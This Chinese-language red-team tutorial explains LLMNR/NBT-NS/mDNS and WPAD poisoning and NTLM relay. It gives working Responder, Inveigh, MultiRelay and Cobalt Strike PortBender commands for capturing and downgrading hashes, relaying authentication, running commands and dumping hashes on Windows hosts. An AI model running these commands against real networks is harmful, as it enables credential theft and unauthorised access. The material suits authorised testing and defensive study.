LLMNR、NBT-NS、mDNS/DNS、WPAD 欺骗和中继攻击
一、网络协议
1、本地主机解析协议
LLMNR、NBT-NS 和 mDNS:
当 DNS 失效时,Microsoft 和其他操作系统使用 LLMNR 和 NBT-NS 进行本地名称解析。同样,Apple 和 Linux 系统使用 mDNS。
由于这些协议未经身份验证、通过 UDP 进行广播,因此很容易受到拦截和欺骗。
Responder可用于通过向查询这些协议的主机发送伪造的响应来模拟服务。
有关使用 Responder 进行服务模拟的更多信息可以在这里找到(后续文章再补充)。
2、Web 代理自动发现协议 (WPAD)
WPAD 允许浏览器自动发现代理设置。
通过 DHCP、DNS 或当 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现。
Responder 可以自动执行 WPAD 攻击,将客户端引导至恶意 WPAD 服务器。
3、Responder投毒
Responder是一种用于毒害 LLMNR、NBT-NS 和 mDNS 查询的工具,它根据查询类型有选择地响应,主要针对 SMB 服务。
它预装在 Kali Linux 中,可在 中进行配置/etc/responder/Responder.conf
。
Responder 在屏幕上显示捕获的哈希值并将其保存在/usr/share/responder/logs
目录中。
它同时支持 IPv4 和 IPv6。
你可以在此处获取 Windows 版本的 Responder 。
4、Responder示例
要使用默认设置运行 Responder:
responder -I <Interface>
对于更积极的探测(有潜在的副作用):
responder -I <Interface> -P -r -v
捕获 NTLMv1 挑战/响应以便于破解的技术:
responder -I <Interface> --lm --disable-ess
可以使用以下方式激活 WPAD 模拟:
responder -I <Interface> --wpad
NetBIOS 请求可以解析为攻击者的 IP,并且可以设置身份验证代理:
responder.py -I <interface> -Pv
5、DHCP 投毒
欺骗 DHCP 响应可以永久毒害受害者的路由信息,从而提供一种比 ARP 毒害更隐蔽的替代方法。
它需要精确了解目标网络的配置。
发起攻击:./Responder.py -I eth0 -Pdv
此方法可以有效地捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。
6 、使用 Responder 获取凭证
响应者将使用上述协议模拟服务,当用户尝试针对欺骗服务进行身份验证时,捕获凭据(通常是 NTLMv2 质询/响应)。
可以尝试降级到 NetNTLMv1 或禁用 ESS,以便更轻松地破解凭证。
需要注意的是,采用这些技术应该合法且合乎道德,确保适当的授权并避免中断或未经授权的访问。
二、攻击
Inveigh 是一款专为 Windows 系统设计的渗透测试人员和红队成员的工具。它提供与 Responder 类似的功能,可执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为Inveigh和InveighZero 。详细参数和说明可在wiki中找到。
Inveigh 可以通过 PowerShell 进行操作:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
或者作为 C# 二进制文件执行:
Inveigh.exe
1、NTLM 中继攻击
此攻击利用 SMB 身份验证会话访问目标计算机,如果成功则授予系统 shell。关键先决条件包括:
进行身份验证的用户必须具有中继主机上的本地管理员访问权限。
应禁用 SMB 签名。
445 端口转发和隧道
在无法直接引入网络的情况下,需要转发和隧道传输端口 445 上的流量。PortBender 等工具可帮助将端口 445 流量重定向到另一个端口,当本地管理员访问权限可用于加载驱动程序时,这一点至关重要。
Cobalt Strike 中的 PortBender 设置和操作:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
2、NTLM 中继攻击的其他工具
Metasploit:设置代理、本地和远程主机详细信息。
smbrelayx:用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
MultiRelay:Responder 套件中的一种工具,用于中继特定用户或所有用户、执行命令或转储哈希值。
如有必要,每个工具都可以配置为通过 SOCKS 代理运行,即使通过间接网络访问也可以发起攻击。
3、多中继操作
MultiRelay 从/usr/share/responder/tools
目录执行,针对特定的 IP 或用户。
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
这些工具和技术形成了在各种网络环境中进行 NTLM 中继攻击的综合集合。
三、强制 NTLM 登录
在 Windows 中,你可能能够强制某些特权帐户对任意机器进行身份验证。阅读这里。(篇幅原因后续文章再补充)